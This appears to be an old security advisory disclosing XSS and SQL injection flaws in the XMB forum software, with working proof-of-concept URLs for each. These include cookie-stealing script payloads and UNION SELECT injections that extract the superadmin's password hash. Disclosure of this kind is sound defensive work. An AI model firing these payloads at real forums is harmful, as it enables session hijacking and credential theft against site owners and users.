Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Extreme Messageboard aka XMB is very popular and feature rich forum,

based on php and mysql. More information can be found on sites

http://www.aventure-media.co.uk and http://www.xmbforum.com

Vulnerabilities:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Ok, we have lot's of the security flaws to disclosure, so let's begin...

1. php and webserver info disclosure and possible XSS

Beginning with XMB 1.9 beta versions, file named phpinfo.php is shipped with forum

software. Original code:

<?php

/* $Id: phpinfo.php, v1.00 2003/10/11 10:45:18 Tularis Exp $ */

phpinfo();

?>

In this way ANYONE can get lot's of insider information from webserver and php engine

environment - good startup for attacker...

And even "better" - phpinfo.php can be used for exploiting the XSS:

http://localhost/xmb19beta/phpinfo.php?foobar=<script>alert(docume
nt.cookie);</script>

2. XSS in xmb.php --> works in 1.8 SP3 and 1.9 beta

Example http request:

http://localhost/xmb19beta/xmb.php?show=version&xmbuser=foobar><body onload=alert(document.cookie);>

Remark: Log off before trying this or it will not work!

3. XSS in editprofile.php --> only in 1.9 beta

Example request:

http://localhost/xmb19beta/editprofile.php?user=notexist_foobar&u2uheade
r=<body%20onload=alert(document.cookie);>

4. XSS in u2u.php --> works in 1.8 SP3 and 1.9 beta

Example request:

http://localhost/xmb19beta/u2u.php?folder=foobar"><body%20onload=alert(d
ocument.cookie);>

5. XSS in stats.php --> works in 1.8 SP3 and 1.9 beta

Reason --> uninitialized variables $viewmost,$replymost,$latest

http://localhost/xmb19beta/stats.php?action=view&viewmost="></textarea><
body%20onload=alert(document.cookie);>

http://localhost/xmb19beta/stats.php?action=view&replymost="></textarea>
<body%20onload=alert(document.cookie);>

http://localhost/xmb19beta/stats.php?action=view&latest="></textarea><bo
dy%20onload=alert(document.cookie);>

6. XSS in post.php

Reason --> uninitialized variables $message,$icons --> works in 1.8 SP3 and 1.9 beta

http://localhost/xmb19beta/post.php?action=newthread&fid=1&message="></t
extarea><body%20onload=alert(document.cookie);>

http://localhost/xmb19beta/post.php?action=newthread&fid=1&icons=<body%2
0onload=alert(document.cookie);>

7. XSS in forumdisplay.php --> works in 1.8 SP3 and 1.9 beta

Reason --> uninitialized variables $threadlist,$pagelinks,$forumlist,$navigation,$forumdisplay

http://localhost/xmb19beta/forumdisplay.php?fid=1&threadlist=<body%20onl
oad=alert(document.cookie);>

http://localhost/xmb19beta/forumdisplay.php?fid=1&pagelinks=<body%20onlo
ad=alert(document.cookie);>

http://localhost/xmb19beta/forumdisplay.php?fid=1&forumlist=<body%20onlo
ad=alert(document.cookie);>

http://localhost/xmb19beta/forumdisplay.php?fid=1&navigation=<body%20onl
oad=alert(document.cookie);>

http://localhost/xmb19beta/forumdisplay.php?fid=1&forumdisplay=<body%20o
nload=alert(document.cookie);>

8. Sql injection and XSS in forumdisplay.php

http://localhost/xmb19beta/forumdisplay.php?fid=1&tpp=<body%20onload=ale
rt(document.cookie);>

Remark: will work only, when no user logged in, because logging in will override the $tpp value.

*************** [really scary sql injection bugs] ***************

9. sql injection and XSS in member.php --> only in 1.9 beta version

Let's look at original code, line 461:

switch($self['status']){

case 'member';

$restrict .= " f.private !='3' AND";

case 'Moderator';

case 'Super Moderator';

$restrict .= " f.private != '2' AND";

case 'Administrator';

$restrict .= " f.userlist = '' AND f.password = '' AND";

case 'Super Administrator';

break;

default:

$restrict .= " f.private !='3' AND f.private != '2' AND f.userlist = '' AND f.password = '' AND";

break;

}

Hmm, $restrict is not initialized anywhere! So we can delivere here all what we want:

http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restr
ict=foobar

You have an error in your SQL syntax.

XSS:

http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restr
ict=<body%20onload=alert(document.cookie);>

And now the funniest part - how to get superadmin's password's md5 hash from database:

http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restr
ict=%20f.private=-99%20GROUP%20BY%20p.fid%20UNION%20SELECT%20password,nu
ll,99%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*

Or u want superadmin's username? Here it is:

http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restr
ict=%20f.private=-99%20GROUP%20BY%20p.fid%20UNION%20SELECT%20username,nu
ll,99%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*

10. sql injection and XSS in misc.php --> only in 1.9 beta version

http://localhost/xmb19beta/misc.php?action=search&restrict=<body%20onloa
d=alert(document.cookie);>

http://localhost/xmb19beta/misc.php?action=search&restrict=%20private=-9
9%20UNION%20SELECT%20null,null,password,null,null,null,null,null,null,nu
ll,null,null,null,null,null,null,null,null,null,null,null,null,null%20FR
OM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*

11. sql injection and XSS in today.php --> only in 1.9 beta version

http://localhost/xmb19beta/today.php?restrict=<body%20onload=alert(docum
ent.cookie);>
